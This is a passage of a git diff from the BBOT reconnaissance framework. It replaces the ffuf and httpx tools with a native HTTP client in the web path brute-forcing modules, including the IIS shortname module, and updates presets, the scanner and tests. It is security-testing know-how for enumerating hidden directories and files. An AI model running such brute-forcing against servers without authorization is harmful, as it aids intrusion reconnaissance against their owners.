wordlist with length [{str(words_len)}]") + try: + self.extensions = self.helpers.chain_lists(self.config.get("extensions", ""), validate=True) + self.debug(f"Using custom extensions: [{','.join(self.extensions)}]") + except ValueError as e: + self.warning(f"Error parsing extensions: {e}") + return False + return True + + async def handle_event(self, event): + if self.helpers.url_depth(event.url) > self.config.get("max_depth"): + self.debug("Exceeded max depth, aborting event") + return + + # only fuzz against a directory + if "." in event.parsed_url.path.split("/")[-1]: + self.debug("Aborting fuzz as period was detected in right-most path segment (likely a file)") + return + else: + # if we think its a directory, normalize it. + fixed_url = event.url.rstrip("/") + "/" + + exts = ["", "/"] + if self.extensions: + for ext in self.extensions: + exts.append(f".{ext}") + + filters = await self.baseline_fuzz(fixed_url, exts=exts) + async for r in self.execute_fuzz(self.words, fixed_url, exts=exts, filters=filters): + await self.emit_event( + r["url"], + "URL_UNVERIFIED", + parent=event, + tags=[f"status-{r['status']}"], + context=f"{{module}} brute-forced {event.url} and found {{event.type}}: {{event.data}}", + ) + + async def filter_event(self, event): + if "endpoint" in event.tags: + self.debug(f"rejecting URL [{event.url}] because we don't fuzz endpoints") + return False + return True + + def _build_batch_headers(self): + """Build header list for batch requests from scan config.""" + headers = [("User-Agent", self.scan.useragent)] + for hk, hv in self.scan.custom_http_headers.items(): + headers.append((hk, hv)) + return headers + + def _response_metrics(self, response): + """Extract metrics from a response for baseline comparison.""" + text = response.text or "" + return { + "status": response.status_code, + "length": len(response.content), + "words": len(text.split()), + "lines": text.count("\n") + 1, + } + + def _batch_response_metrics(self, response): + """Extract metrics from a raw blasthttp batch response.""" + body = response.body or "" + return { + "status": response.status, + "length": len(response.body_bytes), + "words": len(body.split()), + "lines": body.count("\n") + 1, + } + + def _is_baseline_match(self, metrics, baseline_filter): + """Return True if the response matches the baseline (i.e. should be filtered OUT).""" + if baseline_filter.get("abort"): + return True + filter_type = baseline_filter.get("type", "status") + if filter_type == "not_status": + # Filter anything matching this status (e.g. 404) + return metrics["status"] == baseline_filter["status"] + elif filter_type == "status_and_size": + return metrics["status"] == baseline_filter["status"] and metrics["length"] == baseline_filter["size"] + elif filter_type == "status_and_words": + return metrics["status"] == baseline_filter["status"] and metrics["words"] == baseline_filter["words"] + elif filter_type == "status_and_lines": + return metrics["status"] == baseline_filter["status"] and metrics["lines"] == baseline_filter["lines"] + elif filter_type == "status_only": + return metrics["status"] == baseline_filter["status"] + return False + + async def baseline_fuzz(self, url, exts=None, prefix="", suffix=""): + if exts is None: + exts = [""] + filters = {} + headers = self._build_batch_headers() + proxy = self.scan.http_proxy or None + + for ext in exts: + self.debug(f"running baseline for URL [{url}] with ext [{ext}]") + + # Generate 4 canary strings of increasing length and batch them + canary_configs = [] + canary_length = 4 + for _ in range(4): + canary_word = "".join(random.choice(string.ascii_lowercase) for _ in range(canary_length)) + canary_length += 2 + canary_url = f"{url}{prefix}{canary_word}{suffix}{ext}" + canary_configs.append( + blasthttp.BatchConfig( + canary_url, + headers=headers, + timeout=self.scan.http_timeout, + retries=0, + verify_certs=False, + follow_redirects=False, + proxy=proxy, + ) + ) + + canary_results = [] + results = await self.helpers.run_in_executor(self.blast_client.request_batch, canary_configs, 4) + for result in results: + if result.success: + canary_results.append(self._batch_response_metrics(result.response)) + + # Check we got all 4 responses + if len(canary_results) != 4: + self.warning( + f"Could not attain baseline for URL [{url}] ext [{ext}] — only got {len(canary_results)}/4 responses. Possible connectivity issues." + ) + filters[ext] = {"abort": True, "reason": "CONNECTIVITY_ISSUES"} + continue + + # If status codes differ across canaries, likely load balancing + statuses = {r["status"] for r in canary_results} + if len(statuses) != 1: + self.warning("Got different status codes for each baseline. This could indicate load balancing") + filters[ext] = {"abort": True, "reason": "BASELINE_CHANGED_CODES"} + continue + + baseline_status = canary_results[0]["status"] + + # All 404s — just look for anything not 404 + if baseline_status == 404: + self.debug("All baseline results were 404, filtering on status != 404") + filters[ext] = {"type": "not_status", "status": 404} + continue + + # All 403s — possible WAF + if baseline_status == 403: + self.warning("All baseline requests received 403. A WAF may be actively blocking traffic.") + + # All 429s — rate limiting, abort + if baseline_status == 429: + self.warning( + f"Received 429 (Too Many Requests) for URL [{url}]. A WAF or rate limiter is blocking requests, aborting." + ) + filters[ext] = {"abort": True, "reason": "RECEIVED_429"} + continue + + # Try to find a stable metric for AND filtering + # 1. Same body size across all canaries + if len({r["length"] for r in canary_results}) == 1: + self.debug("All baseline results had the same body size, filtering on status + size") + filters[ext] = { + "type": "status_and_size", + "status": baseline_status, + "size": canary_results[0]["length"], + } + continue + + # 2. Same word count + if len({r["words"] for r in canary_results}) == 1: + self.debug("All baseline results had the same word count, filtering on status + words") + filters[ext] = { + "type": "status_and_words", + "status": baseline_status, + "words": canary_results[0]["words"], + } + continue + + # 3. Same line count + if len({r["lines"] for r in canary_results}) == 1: + self.debug("All baseline results had the same line count, filtering on status + lines") + filters[ext] = { + "type": "status_and_lines", + "status": baseline_status, + "lines": canary_results[0]["lines"], + } + continue + + # Nothing stable — fall back to status-only + self.debug("No stable baseline metric found, filtering on status only") + filters[ext] = {"type": "status_only", "status": baseline_status} + + return filters + + async def execute_fuzz( + self, + words, + url, + prefix="", + suffix="", + exts=None, + filters=None, + baseline=False, + ): + if exts is None: + exts = [""] + if filters is None: + filters = {} + + headers = self._build_batch_headers() + proxy = self.scan.http_proxy or None + + for ext in exts: + # Check for abort filter; default to filtering 404s if no filter provided + ext_filter = filters.get(ext, {"type": "not_status", "status": 404}) + if ext_filter.get("abort"): + self.warning(f"Skipping fuzz for ext [{ext}]: {ext_filter.get('reason', 'ABORT')}") + continue + + # Build batch configs for this extension + configs = [] + for word in words: + fuzz_url = f"{url}{prefix}{word}{suffix}{ext}" + configs.append( + blasthttp.BatchConfig( + fuzz_url, + headers=headers, + timeout=self.scan.http_timeout, + retries=0, + verify_certs=False, + follow_redirects=False, + proxy=proxy, + ) + ) + + if not configs: + continue + + self.debug(f"Fuzzing {len(configs)} URLs for ext [{ext}]") + + # Fire all requests via native blasthttp batch (Rust concurrency) + results = await self.helpers.run_in_executor(self.blast_client.request_batch, configs, 50) + + # Index results by URL for ordered processing + results_by_url = {} + for result in results: + results_by_url[result.url] = result + + # Process in wordlist order so canary (appended last) is checked last + canary_found = False + hits = [] + for config in configs: + if self.scan.stopping: + return + result = results_by_url.get(config.url) + if result is None or not result.success: + continue + + response = result.response + metrics = self._batch_response_metrics(response) + + # Check if this matches the baseline (should be filtered out) + if ext_filter and self._is_baseline_match(metrics, ext_filter): + continue + + # Extract the word from the URL to check for canary + word = result.url[len(url) + len(prefix) :] + if suffix: + word = word[: -len(suffix + ext)] if (suffix + ext) else word + elif ext: + word = word[: -len(ext)] + word = word.rstrip("/") + + if word == self.canary: + canary_found = True + continue + + hits.append({"url": response.url, "status": response.status}) + + # If canary was found in results, the server is returning everything — abort + if canary_found and hits: + self.debug("Found canary in results, all hits are likely false positives — aborting") + return + + # Mid-scan validation for each hit + for hit in hits: + if not baseline and ext_filter: + canary_word = "".join(random.choice(string.ascii_lowercase) for _ in range(4)) + canary_url = f"{url}{prefix}{canary_word}{suffix}{ext}" + canary_configs = [ + blasthttp.BatchConfig( + canary_url, + headers=headers, + timeout=self.scan.http_timeout, + retries=0, + verify_certs=False, + follow_redirects=False, + proxy=proxy, + ) + ] + canary_batch = await self.helpers.run_in_executor( + self.blast_client.request_batch, canary_configs, 1 + ) + if canary_batch and canary_batch[0].success: + canary_metrics = self._batch_response_metrics(canary_batch[0].response) + if not self._is_baseline_match(canary_metrics, ext_filter): + self.verbose( + f"Would have reported [{hit['url']}], but mid-scan baseline check failed. " + "This could be due to a WAF turning on mid-scan." + ) + self.verbose(f"Aborting the current run against [{url}]") + return + + yield hit + + def generate_templist(self, prefix=None): + """Generate word list from wordlist_lines, filtered by optional prefix.""" + words = [] + if prefix: + prefix = prefix.strip().lower() + max_lines = self.config.get("lines") + + for line in self.wordlist_lines[:max_lines]: + if (not prefix) or line.lower().startswith(prefix): + words.append(line) + + words.append(self.canary) + return words, len(words) + + def generate_wordlist(self, wordlist_file): + seen = {} + ignore_case = self.config.get("ignore_case", False) + for line in self.helpers.read_file(wordlist_file): + line = line.strip() + if not line: + continue + if line in self.blacklist: + self.debug(f"Skipping adding [{line}] to wordlist because it was in the blacklist") + continue + if any(x in line for x in self.banned_characters): + self.debug(f"Skipping adding [{line}] to wordlist because it has a banned character") + continue + if ignore_case: + line = line.lower() + seen[line] = None + return list(seen) diff --git a/bbot/modules/ffuf_shortnames.py b/bbot/modules/web_brute_shortnames.py similarity index 83% rename from bbot/modules/ffuf_shortnames.py rename to bbot/modules/web_brute_shortnames.py index f002b4e613..29df4da87e 100644 --- a/bbot/modules/ffuf_shortnames.py +++ b/bbot/modules/web_brute_shortnames.py @@ -3,15 +3,15 @@ import random import string -from bbot.modules.ffuf import ffuf +from bbot.modules.web_brute import web_brute -class ffuf_shortnames(ffuf): +class web_brute_shortnames(web_brute): watched_events = ["URL_HINT"] produced_events = ["URL_UNVERIFIED"] flags = ["loud", "active", "iis-shortnames", "web-heavy"] meta = { - "description": "Use ffuf in combination IIS shortnames", + "description": "Brute-force IIS shortnames using ML-predicted wordlists", "created_date": "2022-07-05", "author": "@liquidsec", } @@ -19,7 +19,6 @@ class ffuf_shortnames(ffuf): options = { "wordlist_extensions": "", # default is defined within setup function "max_depth": 1, - "version": "2.0.0", "extensions": "", "ignore_redirects": True, "find_common_prefixes": False, @@ -32,32 +31,30 @@ class ffuf_shortnames(ffuf): options_desc = { "wordlist_extensions": "Specify wordlist to use when making extension lists", "max_depth": "the maximum directory depth to attempt to solve", - "version": "ffuf version", "extensions": "Optionally include a list of extensions to extend the keyword with (comma separated)", "ignore_redirects": "Explicitly ignore redirects (301,302)", - "find_common_prefixes": "Attempt to automatically detect common prefixes and make additional ffuf runs against them", - "find_delimiters": "Attempt to detect common delimiters and make additional ffuf runs against them", - "find_subwords": "Attempt to detect subwords and make additional ffuf runs against them", + "find_common_prefixes": "Attempt to automatically detect common prefixes and make additional runs against them", + "find_delimiters": "Attempt to detect common delimiters and make additional runs against them", + "find_subwords": "Attempt to detect subwords and make additional runs against them", "max_predictions": "The maximum number of predictions to generate per shortname prefix", "rate": "Rate of requests per second (default: 0)", } deps_pip = ["numpy"] - deps_common = ["ffuf"] in_scope_only = True supplementary_words = ["html", "ajax", "xml", "json", "api"] def generate_templist(self, hint, shortname_type): - virtual_file = set() # Use a set to avoid duplicates + words = set() for prediction, score in self.predict(hint, self.max_predictions, model=shortname_type): - prediction_lower = prediction.lower() # Convert to lowercase + prediction_lower = prediction.lower() self.debug(f"Got prediction: [{prediction_lower}] from prefix [{hint}] with score [{score}]") - virtual_file.add(prediction_lower) # Add to set to ensure uniqueness + words.add(prediction_lower) - virtual_file.add(self.canary.lower()) # Ensure canary is also lowercase - return self.helpers.tempfile(list(virtual_file), pipe=False), len(virtual_file) + words.add(self.canary.lower()) + return list(words), len(words) def predict(self, prefix, n=25, model="endpoint"): predictor_name = f"{model}_predictor" @@ -96,8 +93,8 @@ async def setup_deps(self): return True async def setup(self): - self.proxy = self.scan.web_config.get("http_proxy", "") self.canary = "".join(random.choice(string.ascii_lowercase) for i in range(10)) + self.blast_client = self.helpers.blasthttp self.ignore_redirects = self.config.get("ignore_redirects") self.max_predictions = self.config.get("max_predictions") self.find_subwords = self.config.get("find_subwords") @@ -126,7 +123,7 @@ def find_class(self, module, name): return MinimalWordPredictor return super().find_class(module, name) - self.info("Loading ffuf_shortnames prediction models, could take a while if not cached") + self.info("Loading shortname prediction models, could take a while if not cached") endpoint_model = await self.helpers.wordlist( "https://raw.githubusercontent.com/blacklanternsecurity/wordpredictor/refs/heads/main/trained_models/endpoints.bin" ) @@ -146,7 +143,7 @@ def find_class(self, module, name): self.subword_list = [] if self.find_subwords: - self.debug("Acquiring ffuf_shortnames subword list") + self.debug("Acquiring shortname subword list") subwords = await self.helpers.wordlist( "https://raw.githubusercontent.com/nltk/nltk_data/refs/heads/gh-pages/packages/corpora/words.zip", zip=True, @@ -187,7 +184,7 @@ def find_delimiter(self, hint): async def filter_event(self, event): if "iis-magic-url" in event.tags: - return False, "iis-magic-url URL_HINTs are not solvable by ffuf_shortnames" + return False, "iis-magic-url URL_HINTs are not solvable by web_brute_shortnames" if event.parent.type != "URL": return False, "its parent event is not of type URL" return True @@ -208,13 +205,12 @@ async def handle_event(self, event): elif "shortname-directory" in event.tags: shortname_type = "directory" else: - self.error("ffuf_shortnames received URL_HINT without proper 'shortname-' tag") + self.error("web_brute_shortnames received URL_HINT without proper 'shortname-' tag") return host = f"{event.parent.parsed_url.scheme}://{event.parent.parsed_url.netloc}/" if host not in self.per_host_collection.keys(): self.per_host_collection[host] = [(filename_hint, event.parent.url)] - else: self.per_host_collection[host].append((filename_hint, event.parent.url)) @@ -227,19 +223,16 @@ async def handle_event(self, event): used_extensions = self.build_extension_list(event) if len(filename_hint) == 6: - tempfile, tempfile_len = self.generate_templist(filename_hint, shortname_type) - self.verbose( - f"generated temp word list of size [{str(tempfile_len)}] for filename hint: [{filename_hint}]" - ) - + words, words_len = self.generate_templist(filename_hint, shortname_type) + self.verbose(f"generated word list of size [{str(words_len)}] for filename hint: [{filename_hint}]") else: - tempfile = self.helpers.tempfile([filename_hint], pipe=False) - tempfile_len = 1 + words = [filename_hint] + words_len = 1 - if tempfile_len > 0: + if words_len > 0: if shortname_type == "endpoint": for ext in used_extensions: - async for r in self.execute_ffuf(tempfile, root_url, suffix=f".{ext}"): + async for r in self.execute_fuzz(words, root_url, suffix=f".{ext}"): await self.emit_event( r["url"], "URL_UNVERIFIED", @@ -249,7 +242,7 @@ async def handle_event(self, event): ) elif shortname_type == "directory": - async for r in self.execute_ffuf(tempfile, root_url, exts=["/"]): + async for r in self.execute_fuzz(words, root_url, exts=["/"]): r_url = f"{r['url'].rstrip('/')}/" await self.emit_event( r_url, @@ -265,15 +258,15 @@ async def handle_event(self, event): if delimiter_r: delimiter, prefix, partial_hint = delimiter_r self.verbose(f"Detected delimiter [{delimiter}] in hint [{filename_hint}]") - tempfile, tempfile_len = self.generate_templist(partial_hint, "directory") - ffuf_prefix = f"{prefix}{delimiter}" - async for r in self.execute_ffuf(tempfile, root_url, prefix=ffuf_prefix, exts=["/"]): + words, words_len = self.generate_templist(partial_hint, "directory") + fuzz_prefix = f"{prefix}{delimiter}" + async for r in self.execute_fuzz(words, root_url, prefix=fuzz_prefix, exts=["/"]): await self.emit_event( r["url"], "URL_UNVERIFIED", parent=event, tags=[f"status-{r['status']}"], - context=f'{{module}} brute-forced directories with detected prefix "{ffuf_prefix}" and found {{event.type}}: {{event.pretty_string}}', + context=f'{{module}} brute-forced directories with detected prefix "{fuzz_prefix}" and found {{event.type}}: {{event.pretty_string}}', ) elif "shortname-endpoint" in event.tags: @@ -282,23 +275,23 @@ async def handle_event(self, event): if delimiter_r: delimiter, prefix, partial_hint = delimiter_r self.verbose(f"Detected delimiter [{delimiter}] in hint [{filename_hint}]") - tempfile, tempfile_len = self.generate_templist(partial_hint, "endpoint") - ffuf_prefix = f"{prefix}{delimiter}" - async for r in self.execute_ffuf(tempfile, root_url, prefix=ffuf_prefix, suffix=f".{ext}"): + words, words_len = self.generate_templist(partial_hint, "endpoint") + fuzz_prefix = f"{prefix}{delimiter}" + async for r in self.execute_fuzz(words, root_url, prefix=fuzz_prefix, suffix=f".{ext}"): await self.emit_event( r["url"], "URL_UNVERIFIED", parent=event, tags=[f"status-{r['status']}"], - context=f'{{module}} brute-forced {ext.upper()} files with detected prefix "{ffuf_prefix}" and found {{event.type}}: {{event.pretty_string}}', + context=f'{{module}} brute-forced {ext.upper()} files with detected prefix "{fuzz_prefix}" and found {{event.type}}: {{event.pretty_string}}', ) if self.config.get("find_subwords"): subword, suffix = self.find_subword(filename_hint) if subword: if "shortname-directory" in event.tags: - tempfile, tempfile_len = self.generate_templist(suffix, "directory") - async for r in self.execute_ffuf(tempfile, root_url, prefix=subword, exts=["/"]): + words, words_len = self.generate_templist(suffix, "directory") + async for r in self.execute_fuzz(words, root_url, prefix=subword, exts=["/"]): await self.emit_event( r["url"], "URL_UNVERIFIED", @@ -308,8 +301,8 @@ async def handle_event(self, event): ) elif "shortname-endpoint" in event.tags: for ext in used_extensions: - tempfile, tempfile_len = self.generate_templist(suffix, "endpoint") - async for r in self.execute_ffuf(tempfile, root_url, prefix=subword, suffix=f".{ext}"): + words, words_len = self.generate_templist(suffix, "endpoint") + async for r in self.execute_fuzz(words, root_url, prefix=subword, suffix=f".{ext}"): await self.emit_event( r["url"], "URL_UNVERIFIED", @@ -337,21 +330,21 @@ async def finish(self): elif "shortname-directory" in self.shortname_to_event[hint].tags: shortname_type = "directory" else: - self.error("ffuf_shortnames received URL_HINT without proper 'shortname-' tag") + self.error("web_brute_shortnames received URL_HINT without proper 'shortname-' tag") continue partial_hint = hint[len(prefix) :] # safeguard to prevent loading the entire wordlist if len(partial_hint) > 0: - tempfile, tempfile_len = self.generate_templist(partial_hint, shortname_type) + words, words_len = self.generate_templist(partial_hint, shortname_type) if "shortname-directory" in self.shortname_to_event[hint].tags: self.verbose( f"Running common prefix check for URL_HINT: {hint} with prefix: {prefix} and partial_hint: {partial_hint}" ) - async for r in self.execute_ffuf(tempfile, url, prefix=prefix, exts=["/"]): + async for r in self.execute_fuzz(words, url, prefix=prefix, exts=["/"]): await self.emit_event( r["url"], "URL_UNVERIFIED", @@ -366,9 +359,7 @@ async def finish(self): self.verbose( f"Running common prefix check for URL_HINT: {hint} with prefix: {prefix}, extension: .{ext}, and partial_hint: {partial_hint}" ) - async for r in self.execute_ffuf( - tempfile, url, prefix=prefix, suffix=f".{ext}" - ): + async for r in self.execute_fuzz(words, url, prefix=prefix, suffix=f".{ext}"): await self.emit_event( r["url"], "URL_UNVERIFIED", diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index b7a703b90d..cb989a21a3 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -170,7 +170,7 @@ def parse_wp_misc(self, interesting_json, base_url, source_event): source_event, ) else: - url_event = self.make_event(url, "URL_UNVERIFIED", parent=source_event, tags=["httpx-safe"]) + url_event = self.make_event(url, "URL_UNVERIFIED", parent=source_event, tags=["blasthttp-safe"]) if url_event: yield url_event yield self.make_event( @@ -242,7 +242,7 @@ def parse_wp_plugins(self, plugins_json, base_url, source_event): for name, plugin in plugins_json.items(): url = plugin.get("location", base_url) if url != base_url: - url_event = self.make_event(url, "URL_UNVERIFIED", parent=source_event, tags=["httpx-safe"]) + url_event = self.make_event(url, "URL_UNVERIFIED", parent=source_event, tags=["blasthttp-safe"]) if url_event: yield url_event version = plugin.get("version", {}).get("number", "") diff --git a/bbot/presets/nuclei/nuclei-budget.yml b/bbot/presets/nuclei/nuclei-budget.yml index d4ac5c8163..a290a11215 100644 --- a/bbot/presets/nuclei/nuclei-budget.yml +++ b/bbot/presets/nuclei/nuclei-budget.yml @@ -1,7 +1,7 @@ description: Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests modules: - - httpx + - http - nuclei - portfilter diff --git a/bbot/presets/nuclei/nuclei-heavy.yml b/bbot/presets/nuclei/nuclei-heavy.yml index 6468ba9c81..d185ecef55 100644 --- a/bbot/presets/nuclei/nuclei-heavy.yml +++ b/bbot/presets/nuclei/nuclei-heavy.yml @@ -1,7 +1,7 @@ description: Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. modules: - - httpx + - http - nuclei - robots - urlscan diff --git a/bbot/presets/nuclei/nuclei-technology.yml b/bbot/presets/nuclei/nuclei-technology.yml index c2c4c8cf7a..fc63767f6d 100644 --- a/bbot/presets/nuclei/nuclei-technology.yml +++ b/bbot/presets/nuclei/nuclei-technology.yml @@ -1,7 +1,7 @@ description: Run nuclei scans against all discovered targets, running templates which match discovered technologies modules: - - httpx + - http - nuclei - portfilter diff --git a/bbot/presets/nuclei/nuclei.yml b/bbot/presets/nuclei/nuclei.yml index d0d77978eb..fc1e34a4b3 100644 --- a/bbot/presets/nuclei/nuclei.yml +++ b/bbot/presets/nuclei/nuclei.yml @@ -1,7 +1,7 @@ description: Run nuclei scans against all discovered targets modules: - - httpx + - http - nuclei - portfilter diff --git a/bbot/presets/spider.yml b/bbot/presets/spider.yml index 9e98ff4539..b08998a396 100644 --- a/bbot/presets/spider.yml +++ b/bbot/presets/spider.yml @@ -1,7 +1,7 @@ description: Recursive web spider modules: - - httpx + - http blacklist: # Prevent spider from invalidating sessions by logging out diff --git a/bbot/presets/web/dotnet-audit.yml b/bbot/presets/web/dotnet-audit.yml index 581c26c7ab..410beceab0 100644 --- a/bbot/presets/web/dotnet-audit.yml +++ b/bbot/presets/web/dotnet-audit.yml @@ -5,7 +5,7 @@ include: - iis-shortnames modules: - - httpx + - http - badsecrets - ffuf_shortnames - ffuf diff --git a/bbot/presets/web/lightfuzz-light.yml b/bbot/presets/web/lightfuzz-light.yml index 052a774cd9..1c209e2942 100644 --- a/bbot/presets/web/lightfuzz-light.yml +++ b/bbot/presets/web/lightfuzz-light.yml @@ -1,7 +1,7 @@ description: "Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead." modules: - - httpx + - http - lightfuzz - portfilter diff --git a/bbot/presets/web/lightfuzz-xss.yml b/bbot/presets/web/lightfuzz-xss.yml index 554f1f2b60..c3bf35fcdb 100644 --- a/bbot/presets/web/lightfuzz-xss.yml +++ b/bbot/presets/web/lightfuzz-xss.yml @@ -1,7 +1,7 @@ description: "XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset." modules: - - httpx + - http - lightfuzz - paramminer_getparams - reflected_parameters diff --git a/bbot/presets/web/paramminer.yml b/bbot/presets/web/paramminer.yml index 634e883742..5b6bd4dec3 100644 --- a/bbot/presets/web/paramminer.yml +++ b/bbot/presets/web/paramminer.yml @@ -4,7 +4,7 @@ flags: - web-paramminer modules: - - httpx + - http - reflected_parameters - hunt diff --git a/bbot/scanner/preset/environ.py b/bbot/scanner/preset/environ.py index a222dd1bb3..c021b1e248 100644 --- a/bbot/scanner/preset/environ.py +++ b/bbot/scanner/preset/environ.py @@ -77,7 +77,7 @@ def __init__(self, preset): def flatten_config(self, config, base="bbot"): """ Flatten a JSON-like config into a list of environment variables: - {"modules": [{"httpx": {"timeout": 5}}]} --> "BBOT_MODULES_HTTPX_TIMEOUT=5" + {"modules": [{"http": {"threads": 10}}]} --> "BBOT_MODULES_BLASTHTTP_THREADS=10" """ if type(config) == omegaconf.dictconfig.DictConfig: for k, v in config.items(): diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 46052aa1c3..269c14b2ef 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -588,11 +588,34 @@ def apply_log_level(self, apply_core=False): @property def helpers(self): if self._helpers is None: + # Ensure we have at least a minimal target object before any helper (especially web helpers) is constructed. + + self._ensure_minimal_target() from bbot.core.helpers.helper import ConfigAwareHelper self._helpers = ConfigAwareHelper(preset=self) return self._helpers + def _ensure_minimal_target(self): + """ + Lazily construct a minimal BBOTTarget from the current seeds / whitelist / blacklist if one does not already exist. + + This is intentionally lighter-weight than the full async target + preparation performed in `bake()` (which also calls + `target.generate_children()`). + """ + if self._target is not None: + return + + from bbot.scanner.target import BBOTTarget + + self._target = BBOTTarget( + *list(self._seeds), + whitelist=self._whitelist, # modify this after scope rework branch is merged into dev + blacklist=self._blacklist, + strict_scope=self.strict_scope, + ) + @property def module_loader(self): self.environ diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 488a85e781..f50934c7f0 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -41,11 +41,11 @@ class Scanner: Examples: Create scan with multiple targets: - >>> my_scan = Scanner("evilcorp.com", "1.2.3.0/24", modules=["portscan", "sslcert", "httpx"]) + >>> my_scan = Scanner("evilcorp.com", "1.2.3.0/24", modules=["portscan", "sslcert", "http"]) Create scan with custom config: >>> config = {"http_proxy": "http://127.0.0.1:8080", "modules": {"portscan": {"top_ports": 2000}}} - >>> my_scan = Scanner("www.evilcorp.com", modules=["portscan", "httpx"], config=config) + >>> my_scan = Scanner("www.evilcorp.com", modules=["portscan", "http"], config=config) Start the scan, iterating over events as they're discovered (synchronous): >>> for event in my_scan.start(): @@ -233,21 +233,21 @@ def __init__( self.web_max_redirects = max(max_redirects, self.web_spider_distance) self.http_proxy = web_config.get("http_proxy", "") self.http_timeout = web_config.get("http_timeout", 10) - self.httpx_timeout = web_config.get("httpx_timeout", 5) + self.blasthttp_timeout = web_config.get("blasthttp_timeout", 5) self.http_retries = web_config.get("http_retries", 1) - self.httpx_retries = web_config.get("httpx_retries", 1) + self.blasthttp_retries = web_config.get("blasthttp_retries", 1) self.useragent = f"{web_config.get('user_agent', 'BBOT')} {web_config.get('user_agent_suffix') or ''}".strip() # custom HTTP headers warning self.custom_http_headers = web_config.get("http_headers", {}) if self.custom_http_headers: self.warning( - "You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx." + "You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by blasthttp." ) # custom HTTP cookies warning self.custom_http_cookies = web_config.get("http_cookies", {}) if self.custom_http_cookies: self.warning( - "You have enabled custom HTTP cookies. These will be attached to all in-scope requests and all requests made by httpx." + "You have enabled custom HTTP cookies. These will be attached to all in-scope requests and all requests made by blasthttp." ) # url file extensions @@ -604,6 +604,15 @@ async def load_modules(self): After all modules are loaded, they are sorted by `_priority` and stored in the `modules` dictionary. """ if not self._modules_loaded: + # If the preset hasn't been baked yet but modules have been + # manually attached (e.g. in tests), skip the automatic loading + # pipeline and operate only on the existing modules. + if self.preset is None: + if not self.modules: + self.warning("No modules to load") + self._modules_loaded = True + return + if not self.preset.modules: self.warning("No modules to load") self._modules_loaded = True @@ -943,9 +952,6 @@ async def _cleanup(self): # clean up dns engine if self.helpers._dns is not None: await self.helpers.dns.shutdown() - # clean up web engine - if self.helpers._web is not None: - await self.helpers.web.shutdown() # In some test paths, `_prep()` is never called, so `home` and # `temp_dir` may not exist. Treat those as best-effort cleanups. home = getattr(self, "home", None) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index a91954557b..7250397d86 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -168,19 +168,16 @@ def __bool__(self): return bool(len(self._rt)) or bool(self.event_seeds) def __getstate__(self): + """Serialize for pickling — RadixTarget (PyO3) can't be pickled directly.""" return { - "event_seeds": self.event_seeds, + "inputs": [str(e.input) for e in self.event_seeds], "strict_scope": self.strict_scope, - "acl_mode": self._rt._acl_mode, + "acl_mode": getattr(self._rt, "_acl_mode", False), } def __setstate__(self, state): - self.strict_scope = state["strict_scope"] - self._rt = RadixTarget(strict_scope=state["strict_scope"], acl_mode=state["acl_mode"]) - self.event_seeds = set() - for event_seed in state["event_seeds"]: - self.event_seeds.add(event_seed) - self._add(event_seed.host, data=event_seed) + """Reconstruct from pickled state.""" + self.__init__(*state["inputs"], strict_scope=state["strict_scope"], acl_mode=state.get("acl_mode", False)) def __eq__(self, other): return self.hash == getattr(other, "hash", None) diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 1deca2be08..5884ef5eb4 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -98,7 +98,7 @@ def helpers(scan): return scan.helpers -httpx_response = { +blasthttp_response = { "timestamp": "2022-11-14T12:14:27.377566416-05:00", "hash": { "body_md5": "84238dfc8092e5d9c0dac8ef93371a07", @@ -223,7 +223,9 @@ class bbot_events: parent=scan.root_event, module=dummy_module, ) - http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event, module=dummy_module) + http_response = scan.make_event( + blasthttp_response, "HTTP_RESPONSE", parent=scan.root_event, module=dummy_module + ) storage_bucket = scan.make_event( {"name": "storage", "url": "https://storage.blob.core.windows.net"}, "STORAGE_BUCKET", diff --git a/bbot/test/benchmarks/test_excavate_benchmarks.py b/bbot/test/benchmarks/test_excavate_benchmarks.py index bbf2f04b4a..b900e6411d 100644 --- a/bbot/test/benchmarks/test_excavate_benchmarks.py +++ b/bbot/test/benchmarks/test_excavate_benchmarks.py @@ -99,7 +99,7 @@ def _generate_realistic_content(self, index): async def _run_excavate_single_thread(self, text_segments): """Run excavate processing in single thread""" # Create scanner and initialize excavate - scan = Scanner("example.com", modules=["httpx"], config={"excavate": True}) + scan = Scanner("example.com", modules=["http"], config={"excavate": True}) await scan._prep() excavate_module = scan.modules.get("excavate") @@ -140,7 +140,7 @@ async def track_emit_event(event_data, *args, **kwargs): async def _run_excavate_parallel_tasks(self, text_segments): """Run excavate processing with parallel asyncio tasks""" # Create scanner and initialize excavate - scan = Scanner("example.com", modules=["httpx"], config={"excavate": True}) + scan = Scanner("example.com", modules=["http"], config={"excavate": True}) await scan._prep() excavate_module = scan.modules.get("excavate") diff --git a/bbot/test/benchmarks/test_scan_throughput_benchmarks.py b/bbot/test/benchmarks/test_scan_throughput_benchmarks.py new file mode 100644 index 0000000000..8e443da866 --- /dev/null +++ b/bbot/test/benchmarks/test_scan_throughput_benchmarks.py @@ -0,0 +1,85 @@ +""" +Scan throughput benchmark — measures end-to-end HTTP probing performance. + +Runs a real BBOT scan with the blasthttp module against a local httpserver, +measuring how many HTTP_RESPONSE events are produced per second through the +full scan pipeline (event routing, ZMQ IPC, module framework, Rust HTTP engine). + +Run with: + pytest bbot/test/benchmarks/test_scan_throughput_benchmarks.py -v --benchmark-only +""" + +import asyncio +from threading import Thread +from 